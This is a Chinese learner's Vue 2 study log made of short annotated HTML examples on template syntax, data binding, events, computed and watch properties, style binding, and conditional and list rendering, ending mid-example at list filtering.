Vue学习日志

1.初识Vue

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8" />
		<title>初识Vue</title>
		<link rel="icon" href="img/favicon.ico" type="image/x-icon" />
    	<link rel="shortcut icon" href="img/favicon.ico" type="image/x-icon" />
		<!--引入Vue-->
		<script type="text/jscript" src="js/vue.js"></script>
	</head>
	<body>
		<!--
			初识Vue：
			1.想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象；
			2.root容器里面的代码依然符合HTML规范，只不过混入了一些Vue语法；
			3.root容器里面的代码被称为【Vue模板】；
			4.Vue实例与容器是一一对应的；
			5.真实开发中只有一个Vue实例，并且会配合组件一起使用；
			6.{{xxx}}中xxx要写js表达式，且xxx可以读取到data中的所有属性；
			7.一旦data中的数据发生变化，那么模板中用到该数据的地方也会自动更新；
		-->
		<!--准备一个容器-->
		<div id="root">
			<h1>hello，{{name}}</h1>
			<h1>年龄：{{age}}</h1>
		</div>
		
	</body>
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
			
		//创建一个Vue实例
		new Vue({
			el:'#root',//选择关联id为root的容器，并为其创建Vue实例
			data:{//data中存储数据，数据供el指定的容器使用
				name:'张三01',
				age:18		
			}		
		})			
	</script>
</html>

2.vue模板语法

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>vue模板语法</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	
	<body>
		<!--
			vue模板语法有两大类：
			1.插值语法：
				功能：用于解析标签体内容；
				写法：{{xxx}}，xxx为js表达式，且可以直接读取到data里的所有属性；
			2.指令语法：
				功能：用于标签（包括：标签属性、标签体内容、绑定事件······）；
				写法：v-bind:href="xxx" 或简写为 :href="xxx"，xxx同样为js表达式，且可以直接读取到data里的所有属性；
				备注：Vue中有很多的Vue指令，且形式都是v-????，此处只是拿v-bind举例；
			
		-->
		<!--准备一个容器-->
		<div id="root">
			<h1>插值语法</h1>
			<h3>hello, {{name}}!</h3>
			<hr />
			<h1>指令语法</h1>
			<!--'v-bind:'绑定数据，可以将标签里的属性的值和Vue实例里的data里的属性绑定,'v-bind:'可以简写为':'-->
			<a v-bind:href="url">点我去百度</a>
			<a :href="url">点我去百度</a>
			<hr />
		</div>
		
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		new Vue({
			el:'#root',
			data:{
				name:'jack',
				url:'https://www.baidu.com'
			}
		})
	</script>
</html>

3.vue的数据绑定

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>vue的数据绑定</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	
	<body>
		<!--
			Vue中数据有两种绑定方式：
				1.单向绑定（v-bind）：数据只能从data流向页面
				2.双向绑定（v-model）：数据不仅能从data流向页面，还能从页面流向data。
					备注：
						1.双向绑定一般应用在表单类元素上（列如：input、select等）。
						2.v-model:value可以简写为v-model，因为v-model默认就是收集的value的值。
		-->
		<!--准备一个容器-->
		<div id="root">
			<!--普通写法-->
			<!--单向数据绑定：<input type="text" v-bind:value="name"/><br />
			双向数据绑定：<input type="text" v-model:value="name"/>-->
			
			<!--简写-->
			单向数据绑定：<input type="text" :value="name"/><br />
			双向数据绑定：<input type="text" v-model="name"/>
			
			<!--错误代码，因为v-model只能应用在表单类元素（输入类元素）上-->
			<!--<h2 v-model:x="name">你好啊</h2>-->
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		new Vue({
			el:'#root',
			data:{
				name:'jack',
			}
		})
	</script>
</html>

4.el和data的两种写法

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>el和data的两种写法</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			el和data的两种写法：
				1.el有两种写法：
					（1）new Vue时候配置el属性；
					（2）先创建Vue实例，然后再通过v.$mount('#root')指定el的值；
				2.data有两种写法：
					（1）对象式
					（2）函数式
					如何选择：目前使用哪种都可以，以后学习到Vue组件时，data必须使用函数式，否则会报错；
				3.一个重要的原则：
					由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不是Vue实例；
		-->
		
		<!--准备一个容器-->
		<div id="root">
			
			<h2>你好，{{name}}</h2>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		//el的两种写法：
//		const v = new Vue({
//			//el的第一种写法
//			//el:'#root',
//			data:{
//				name:'jack',
//			}
//		})
//		
//		console.log(v)
//		//el的第二种写法，比较灵活
//		v.$mount('#root')
//		
//		延迟1秒绑定容器
//		setTimeout(()=>{
//			v.$mount('#root')
//		},1000)
		
		//data的两种写法：
		new Vue({
			el:'#root',
			//data的第一种写法，对象式
			/*data:{
				name:'jack'
			}*/
			
			
			//data的第二种写法，函数式
			data:function(){
				console.log('@@@',this)//此处的this是Vue实例对象
				return{
					name:'jack'
				}
			}
			
			//简写
//			data(){
//				console.log('@@@',this)//此处的this是Vue实例对象
//				return{
//					name:'jack01'
//				}
//			}
			
			//错误示范，箭头函数
//			data:()=>{
//				console.log('@@@',this)//此处的this不是Vue实例对象
//				return{
//					name:'jack'
//				}
//			}
		})
	</script>
</html>

5.MVVM模型

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>MVVM模型</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			Vue中的MVVM模型：
				1.M（模型）：data中的数据
				2.V（视图）：模板代码
				3.VM（视图模型ViewModel）：Vue实例
			观察发现：
				1.data中的所有属性，最后都出现在了vm身上；
				2.vm身上的所有属性，及Vue原型上的所有属性，在Vue模板中都可以直接使用；
		-->
		
		<div id="root">
			<h1>学校名称：{{name}}</h1>
			<h1>学校地址：{{address}}</h1>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		const vm = new Vue({
			el:'#root',
			data:{
				name:'清华大学',
				address:'北京'
			}
		})
	</script>
</html>

6.回顾Object.defineproperty方法

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>回顾Object.defineproperty方法</title>
	</head>
	<body>
		<!--数据代理：通过一个对象对另一个对象中的属性进行操作（读/写）-->
		<script type="text/javascript">
			let number = 19
			let person = {
				name:'张三',
				sex:'男',
//				age:18
			}
			//往person对象添加age属性，并为属性赋值
			Object.defineProperty(person,'age',{
				/*
				value:18,
				enumerable:true,//控制属性是否可以枚举，默认是false
				writable:true,//控制属性是否可以修改，默认是false
				configurable:true//控制属性是否可以删除，默认是false
				*/
				
				//当有人读取person的age属性时，就会调用get函数，返回值就是age的值。
				get:function(){
					console.log('有人读取person的age属性')
					return number
				},
				//当有人设置person的age属性时，就会调用get函数，返回值就是age的值。
				set:function(value){
					console.log('有人设置person的age属性',value)
					number = value
				}
			})
			console.log(person)
		</script>
	</body>
</html>

7.Vue中的数据代理

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>Vue中的数据代理</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			1.Vue中的数据代理：
				通过vm对象来代理data对象中的属性操作（读/写）；
			2.Vue中数据代理的好处：
				更加方便操作data中的数据；
			3.基本原理：
				通过Object.defineproperty()把data对象中的所以有属性添加到vm身上;
				为每一个添加到vm上的属性，都生成一个getter/setter;
				在getter/setter内部去操作data中对应的属性;
		-->
		<div id="root">
			<h1>学校名称：{{name}}</h1>
			<h1>学校地址：{{address}}</h1>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		const vm = new Vue({
			el:'#root',
			data:{
				name:'清华大学',
				address:'北京'
			}
		})
	</script>
</html>

8.Vue事件处理

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>事件处理</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			事件的基本使用：
				1.使用v-on:xxx或者@xxx绑定事件，其中xxx是事件名；
				2.事件回调需要配置在methods对象中，最终会在vm上；
				3.methods中配置的函数，不要用箭头函数，否则this就不是vm；
				4.methods中配置的函数，都是被Vue管理的函数，this的指向是vm 或 组件实例对象；
				5.@click="demo"和@click="demo($event)"效果一致，但后者可以传参；
		-->
		
		<div id="root">
			<h2>欢迎来到{{name}}</h2>
			<!--普通写法-->
			<!--<button v-on:click="showInfo">点我提示信息</button>-->
			<!--简写-->
			<button @click="showInfo1">点我提示信息1(不传参)</button>
			<button @click="showInfo2($event,15,user,'祝你玩得开心！')">点我提示信息2(传参)</button>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		const vm = new Vue({
			el:'#root',
			data:{
				name:'电信学院',
				user:'小明'
			},
			methods:{
				showInfo1(event){
//					console.log(event.target.innerText)
//					console.log(this)//此处this是vm
					alert('同学你好1！')
				},
				showInfo2(event,number,userName,info){
//					console.log(event.target.innerText)
//					console.log(this)//此处this是vm
					alert(number+'号，'+userName+'同学你好！'+info)
					console.log(event)
				}
			}
		})
	</script>
</html>

9.事件修饰符

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>事件修饰符</title>
		<script type="text/javascript" src="js/vue.js" ></script>
		<style>
			*{
				margin-top: 15px;
			}
			.demo1{
				height: 50px;
				background-color: skyblue;
			}
			.box1{
				padding: 5px;
				background-color: skyblue;
			}
			.box2{
				padding: 5px;
				background-color: orange;
			}
			.list{
				width: 200px;
				height: 200px;
				background-color: orangered;
				overflow: auto;
			}
			li{
				height: 100px;
			}
		</style>
	</head>
	<body>
		<!--
			Vue中的事件修饰符：
				1.prevent：阻止默认事件（常用）；
				2.stop：阻止事件冒泡（常用）；
				3.once：事件只触发一次（常用）；
				4.capture：使用事件的捕获模式；
				5.self：只有event.target是当前操作的元素时才触发事件；
				6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕；
		-->
		<div id="root">
			<h2>欢迎来到{{name}}学习！</h2>
			<!--阻止默认事件-->
			<a href="https://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
			<!--阻止事件冒泡-->
			<div class="demo1" @click="showInfo">
				<button @click.stop="showInfo">点我提示信息</button>
			</div>
			<!--事件只触发一次-->
			<button @click.once="showInfo">点我提示信息</button>
			<!--使用事件的捕获模式-->
			<div class="box1" @click.capture="showMsg(1)">
				div1
				<div class="box2" @click="showMsg(2)">
					div2
				</div>
			</div>
			<!--只有event.target是当前操作的元素时才触发事件-->
			<div class="demo1" @click.self="showInfo">
				<button @click="showInfo">点我提示信息</button>
			</div>
			<!--事件的默认行为立即执行，无需等待事件回调执行完毕-->
			<!--@wheel：滚轮滚动事件；@scroll：滚动条滚动事件-->
			<ul @wheel.passive="demo" class="list">
				<li>1</li>
				<li>2</li>
				<li>3</li>
				<li>4</li>
			</ul>
			<!--先阻止事件冒泡，再阻止默认事件(修饰符可以连着写)-->
			<div class="demo1" @click="showInfo">
				<a href="https://www.baidu.com" @click.stop.prevent="showInfo">点我提示信息</a>
			</div>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		new Vue({
			el:'#root',
			data:{
				name:'电信学院',
			},
			methods:{
				showInfo(event){
					//原生js中的方法
//					event.preventDefault()阻止默认事件
//					event.stopPropagation()阻止事件冒泡
					alert('同学你好！')
//					console.log(event.target)//(只有event.target是当前操作的元素时才触发事件)的案例调用
				},
				showMsg(msg){
					console.log(msg+'')
				},
				demo(){
					for (let i = 0; i < 20000; i++) {
						console.log('#')
					}
					console.log('累坏了')
				}
			}
		})
	</script>
</html>

10.键盘事件

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>键盘事件</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			1.Vue中常用的按键别名：
				回车 => enter
				删除 => delete
				退出 => esc
				空格 => space
				换行 => tab (特殊，必须配个@keydown使用)
				上 => up
				下 => down
				左 => left
				右 => right
				
			2.Vue中未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为keybab-case（短横线命名）
			3.系统修饰键（用法特殊）：Ctrl、alt、shift、meta
				（1）.配合keyup使用：按下修饰键的同时，在按下其他键，随后释放其他键，事件才被触发。
				（2）.配合keydown使用：正常触发事件。
			4.也可以使用keycode去指定具体的按键（不推荐）
			5.Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名。
		-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<!--<input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">-->
			<!--<input type="text" placeholder="按下回车提示输入" @keyup.caps-lock="showInfo">-->
				<input type="text" placeholder="按下回车提示输入" @keydown.tab="showInfo">
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		new Vue({
			el:'#root',
			data:{
				name:'电信学院',
			},
			methods:{
				showInfo(e){
					console.log(e.target.value)
				}
			}
		})
	</script>
</html>

11.计算属性—姓名案例（插值语法实现）

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>计算属性—姓名案例（插值语法实现）</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<div id="root">
			姓：<input type="text" v-model="firstName" /><br /><br />
			名：<input type="text" v-model="lastName" /><br /><br />
			姓名：<span>{{firstName.slice(0,3)}}-{{lastName}}</span>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
			}
		})
	</script>
</html>

12.计算属性—姓名案例（methods实现）

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>计算属性—姓名案例（methods实现）</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<div id="root">
			姓：<input type="text" v-model="firstName" /><br /><br />
			名：<input type="text" v-model="lastName" /><br /><br />
			姓名：<span>{{fullName()}}</span>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
			},
			methods:{
				fullName(){
					return this.firstName+'-'+this.lastName
				}
			}
		})
	</script>
</html>

13.计算属性—姓名案例（计算属性实现）

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>计算属性—姓名案例（计算属性实现）</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			计算属性：
				1.定义：要用的属性不存在，要通过已有的属性计算得来。
				2.原理：底层借助了Object.defineproperty方法提供的getter和setter。
				3.get函数什么时候执行？
					(1).初次读取fullName时。
					(2).所依赖的数据发生改变时。
				4.优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。
				5.备注：
					(1).计算属性最终出现在vm上，直接读取使用即可。
					(2).如果计算属性要修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。
		-->
		<div id="root">
			姓：<input type="text" v-model="firstName" /><br /><br />
			名：<input type="text" v-model="lastName" /><br /><br />
			姓名：<span>{{fullName}}</span>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
			},
			computed:{
				//完整写法
				fullName:{
					//当有人读取fullName属性时，就会调用get()，且返回值作为fullName的属性值
					//get()调用的时机：1.初次读取fullName时。2.所依赖的数据发生改变时。
					get(){
						return this.firstName+'-'+this.lastName
					},
					//set()调用的时机：1.当fullName被修改时时。
					set(value){
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				},
				
				//简写（如果只有get方法时才可以这样写）
				/*fullName(){
					return this.firstName+'-'+this.lastName
				}*/
			},
		})
	</script>
</html>

14.天气案例

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>天气案例</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<div id="root">
			<h2>今天天气很{{info}}！</h2>
			<button @click="change">切换天气</button>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		new Vue({
			el:'#root',
			data:{
				isHost: true
			},
			methods:{
				change(){
					this.isHost = !this.isHost
				}
			},
			computed:{
				info(){
					return this.isHost?'炎热':'凉爽'
				}
			}
		})
	</script>
</html>

15.监视属性-天气案例

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>监视属性-天气案例</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			监视属性watch：
				1.当被监视的属性发生变化时，handler回调函数会自动调用，执行相关操作；
				2.监视的属性必须存在，才能被监视；
				3.监视的两种方法：
					(1).new Vue时传入watch配置；
					(2).通过vm.$watch()监视；
		-->
		<div id="root">
			<h2>今天天气很{{info}}！</h2>
			<button @click="change">切换天气</button>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		const vm = new Vue({
			el:'#root',
			data:{
				isHost: true
			},
			methods:{
				change(){
					this.isHost = !this.isHost
				}
			},
			computed:{
				info(){
					return this.isHost?'炎热':'凉爽'
				}
			},
			//监视属性第一种写法
			/*watch:{//监视
				//监视isHost属性
				isHost:{
					immediate:true,//初始化时，让handler函数调用一下。
					//handler什么时候调用？当isHost发生改变时。
					handler(newValue,oldValue){
						console.log('isHost发生改变,改变前：'+oldValue+'  改变后：'+newValue)
					}
				}
			}*/
		})
		
		//监视属性第二种写法
		vm.$watch('isHost',{
			immediate:true,//初始化时，让handler函数调用一下。
			//handler什么时候调用？当isHost发生改变时。
			handler(newValue,oldValue){
				console.log('isHost发生改变,改变前：'+oldValue+'  改变后：'+newValue)
			}						
		})
	</script>
</html>

16.深度监视属性-天气案例

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>深度监视属性-天气案例</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			深度监视：
				1.Vue中的watch默认不监视对象内部值的改变（一层）；
				2.配置deep:true可以监视对象内部值的改变（多层）；
			备注：
				1.Vue自身可以监视对象内部值的改变，但Vue提供的watch默认不可以；
				2.使用watch时根据数据的具体结构，决定是否采用深度监视；
		-->
		<div id="root">
			<h2>今天天气很{{info}}！</h2>
			<button @click="change">切换天气</button>
			<hr />
			<h3>a的值是：{{numbers.a}}</h3>
			<button @click="numbers.a++">点我让a+1</button>
			<hr />
			<h3>b的值是：{{numbers.b}}</h3>
			<button @click="numbers.b++">点我让b+1</button>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		const vm = new Vue({
			el:'#root',
			data:{
				isHost: true,
				numbers:{
					a:1,
					b:2
				}
			},
			methods:{
				change(){
					this.isHost = !this.isHost
				}
			},
			computed:{
				info(){
					return this.isHost?'炎热':'凉爽'
				}
			},
			watch:{//监视
				//监视isHost属性的变化
				isHost:{
					//immediate:true,//初始化时，让handler函数调用一下。
					//handler什么时候调用？当isHost发生改变时。
					handler(newValue,oldValue){
						console.log('isHost发生改变,改变前：'+oldValue+'  改变后：'+newValue)
					}
				},
				//监视多级结构中“某个”属性的变化
				/*'numbers.a':{
					//immediate:true,//初始化时，让handler函数调用一下。
					//handler什么时候调用？当isHost发生改变时。
					handler(newValue,oldValue){
						console.log('a发生改变,改变前：'+oldValue+'  改变后：'+newValue)
					}
				},*/
				//监视多级结构中“所有”属性的变化
				numbers:{
					//immediate:true,//初始化时，让handler函数调用一下。
					deep:true,//开启深度监视属性
					handler(){
						console.log('numbers发生改变')
					}
				}
			},
		})
	</script>
</html>

17.计算属性—姓名案例（watch监视实现）

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>计算属性—姓名案例（watch监视实现）</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			computed和watch之间的区别：
				1.computed能实现的功能，watch都能实现；
				2.watch能完成的功能，computed不一定能完成（比如：watch可以进行异步操作）
			两个重要的小原则：
				1.所有被Vue管理的函数，最好写成普通函数，这样this的指向才是vm或者组件实例对象；
				2.所有不被Vue管理的函数（定时器回调函数，ajax回调函数等），最好写成箭头函数，这样this的指向才是vm或者组件实例对象；
		-->
		<div id="root">
			姓：<input type="text" v-model="firstName" /><br /><br />
			名：<input type="text" v-model="lastName" /><br /><br />
			姓名：<span>{{fullName}}</span>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				fullName:'张-三'
			},
			/*computed:{
				//完整写法
				fullName:{
					//当有人读取fullName属性时，就会调用get()，且返回值作为fullName的属性值
					//get()调用的时机：1.初次读取fullName时。2.所依赖的数据发生改变时。
					get(){
						return this.firstName+'-'+this.lastName
					},
					//set()调用的时机：1.当fullName被修改时时。
					set(value){
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				},
			},*/
			watch:{
				firstName:{
					handler(newValue){
						//定时器回调函数,延迟1秒设值
						setTimeout(()=>{//不是Vue管理的函数，写为箭头函数的this是vm或组件实例对象；
							console.log(this)
							this.fullName = newValue + '-' +this.lastName
						},1000);
						
//						setTimeout(function(){//不是Vue管理的函数，写为普通函数的this不是vm或组件实例对象；
//							console.log(this)
//							this.fullName = newValue + '-' +this.lastName
//						},1000);
					}
				},
				lastName:{
					handler(newValue){
						this.fullName = this.firstName + '-' + newValue
					}
				}
			}
		})
	</script>
</html>

18.绑定样式

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>绑定样式</title>
		<style>
			.basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			.happy{
				background-color: greenyellow;
			}
			.sad{
				background-color: #aaaaaa;
				border: 5px dotted green;
			}
			.normal{
				background-color: gold;
			}
			.atguigu1{
				width: 400px;
				height: 100px;
				background-color: green;
				border: 1px solid black;
			}
			.atguigu2{
				font-size: 40px;
				font-style: inherit;
			}
			.atguigu3{
				border-radius: 10px;
			}
		</style>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		
		<div id="root">
			<!--绑定class样式--字符串写法，适用于：样式类名不确定，需要动态指定-->
			<div class="basic" :class="mood" @click="changeMood">{{name}}</div><br /><br />
			<!--绑定class样式--数组写法，适用于：要绑定的样式个数不确定，名字也不确定-->
			<div class="basic" :class="classArr">{{name}}</div><br /><br />
			<!--绑定class样式--对象写法，适用于：要绑定的样式个数确定，名字也确定，但要动态决定用不用-->
			<div class="basic" :class="classObj">{{name}}</div><br /><br />
			<!--绑定style样式--对象写法-->
			<div class="basic" :style="styleObj1">{{name}}</div><br /><br />
			<!--绑定style样式--数组写法-->
			<div class="basic" :style="[styleObj1,styleObj2]">{{name}}</div><br /><br />
			<div class="basic" :style="styleArr">{{name}}</div>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		const vm = new Vue({
			el:'#root',
			data:{
				name:'电信学院',
				mood:'normal',
				classArr:['atguigu1','atguigu2','atguigu3'],
				classObj:{
					atguigu1:false,
					atguigu2:false,
				},
				styleObj1:{
					fontSize:'40px',
					color:'red'
				},
				styleObj2:{
					backgroundColor:'orange'
				},
				styleArr:[
					{
						fontSize:'40px',
						color:'green'
					},
					{
						backgroundColor:'orange'
					}
				]
			},
			methods:{
//				changeMood(){
//					this.mood = 'happy'
//				}

				changeMood(){
					const arr = ['happy','sad','normal']
					const index = Math.floor(Math.random()*3)
					this.mood = arr[index]
				}
			},
		})
	</script>
</html>

19.条件渲染

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>条件渲染</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			条件渲染：
				1.v-if
					写法：
						（1）v-if="表达式"；
						（1）v-else-if="表达式"；
						（1）v-else="表达式"；
					适用于：切换频率较低的场景；
					特点：不展示DOM元素直接被移除；
					注意：v-if可以和v-else-if、v-else一起使用，但要求结构不能被“打断”。
				2.v-show
					写法：v-show="表达式"；
					适用于：切换频率较高的场景；
					特点：不展示DOM元素未被移除，仅仅是使用样式隐藏掉；
					注意：v-if可以和v-else-if、v-else一起使用，但要求结构不能被“打断”。
				3.备注：
					使用v-if时，元素可能无法被获取到，而使用v-show一定能获取到元素。
		-->
		<div id="root">
			<h2>当前的n值是：{{n}}</h2>
			<button @click="n++">点我n+1</button>
			
			<!--使用v-show指令做条件渲染-->
			<!--<h2 v-show="false">欢迎来到{{name}}</h2>-->
			<!--<h2 v-show="1 === 1">欢迎来到{{name}}</h2>-->
			
			<!--使用v-if指令做条件渲染-->
			<!--<h2 v-if="false">欢迎来到{{name}}</h2>-->
			<!--<h2 v-if="1 === 1">欢迎来到{{name}}</h2>-->
			
			<!--<h2 v-show="n === 1">java</h2>
			<h2 v-show="n === 2">spring</h2>
			<h2 v-show="n === 3">springBoot</h2>-->
			
			<!--<h2 v-if="n === 1">java</h2>
			<h2 v-if="n === 1">spring</h2>
			<h2 v-if="n === 3">springBoot</h2>
			<hr />-->
			<!--使用v-else-if和v-else指令做条件渲染-->
			<!--<h2 v-if="n === 1">java</h2>
			<h2 v-else-if="n === 1">spring</h2>
			<h2 v-else-if="n === 3">springBoot</h2>
			<h2 v-else>默认值</h2>-->
			
			<hr />
			<!--v-if与template的配合使用-->
			<template v-if="n === 1">
				<h2>java</h2>
				<h2>spring</h2>
				<h2>springBoot</h2>
			</template>
			
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		new Vue({
			el:'#root',
			data:{
				name:'电信学院',
				n:0,
			}
		})
	</script>
</html>

20.列表渲染-基本列表

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>列表渲染-基本列表</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			v-for指令：
				1.用于展示列表数据；
				2.语法 v-for="(item,index) in xxx" :key="yyy"。（in可以改为for）
				3.可遍历数组、对象、字符串（很少用）、指定次数（很少用）。
		-->
		<div id="root">
			<!--遍历数组类型数据-->
			<h2>人员列表</h2>
			<ul>
				<!--<li v-for="p in persons" :key="p.id">
					{{p.name}}-{{p.age}}
				</li>-->
				
				<li v-for="(p,index) in persons" :key="index">
					<!--{{p}}---{{index}}-->
					{{p.name}}-{{p.age}}
				</li>
			</ul>
			<!--遍历对象类型数据-->
			<h2>汽车信息</h2>
			<ul>
				<li v-for="(value,key) in car" :key="key">
					{{key}}-{{value}}
				</li>
			</ul>
			<!--遍历字符串类型数据-->
			<h2>遍历字符串</h2>
			<ul>
				<li v-for="(a,b) in str" :key="b">
					{{a}}-{{b}}
				</li>
			</ul>
			<!--遍历指定次数-->
			<h2>遍历字符串</h2>
			<ul>
				<li v-for="(a,b) in 5">
					{{a}}-{{b}}
				</li>
			</ul>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		new Vue({
			el:'#root',
			data:{
				persons:[
					{id:'001',name:'张三',age:18},
					{id:'002',name:'王五',age:28},
					{id:'003',name:'李四',age:48},
				],
				car:{
					name:'奥迪A8',
					price:'70万',
					color:'灰色'
				},
				str:'hello'
			}
		})
	</script>
</html>

21.列表渲染-key的原理

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>列表渲染-key的原理</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			面试题：react、vue中的key有什么作用？（key内部原理）
				1.虚拟DOM中key的作用：
					key是虚拟对象的标识，当状态中的数据发生变化时，Vue会根据“新数据”生成“新的虚拟DOM”，
					跟随Vue进行“新虚拟DOM”与“旧虚拟DOM”的差异比较，比较规则如下：
				2.对比规则：
					(1).旧虚拟DOM中找到了与新虚拟DOM相同的key：
						①.若虚拟DOM中内容没变，直接使用之前的真实DOM；
						②.若虚拟DOM中内容变了，则生成新的真实DOM，随后替换掉页面中之前的真实DOM；
					(2).旧虚拟DOM中未找到了与新虚拟DOM相同的key：
						创建新的真实DOM，随后渲染到页面。
				3.用index作为key可能会引发的问题：
					(1).若对数据进行：逆序添加、逆序删除等破坏顺序操作，会产生没有必要的真实DOM更新==>界面效果没问题，但效率低；
					(2).如果结构中还包含输入类的DOM，会产生错误DOM更新==>界面问题；
				4.开发中如何选择key：
					(1).最好使用每条数据的唯一标识作为key，比如id、手机号、身份证号、学号等唯一值；
					(2).如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没问题的；
		-->
		<div id="root">
			<!--遍历数组类型数据-->
			<h2>人员列表</h2>
			<button @click="add">添加一个人</button>
			<ul>
				<li v-for="(p,index) in persons" :key="p.id">
					{{p.name}}-{{p.age}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script>
			Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'王五',age:28},
						{id:'003',name:'李四',age:48},
					]
				},
				methods: {
					add(){
						const p = {id:'004',name:'老刘',age:68}
						this.persons.unshift(p)
					}
				},
			})
		</script>
	</body>
</html>

22.列表过滤

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>列表过滤</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--

		-->
		<div id="root">
			<!--遍历数组类型数据-->
			<h2>人员列表</h2>
			<ul>
				<input type="text" placeholder="请输入搜索名字" v-model="keyWord">
				<li v-for="(p,index) in filterPersons" :key="index">
					
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>
	</body>
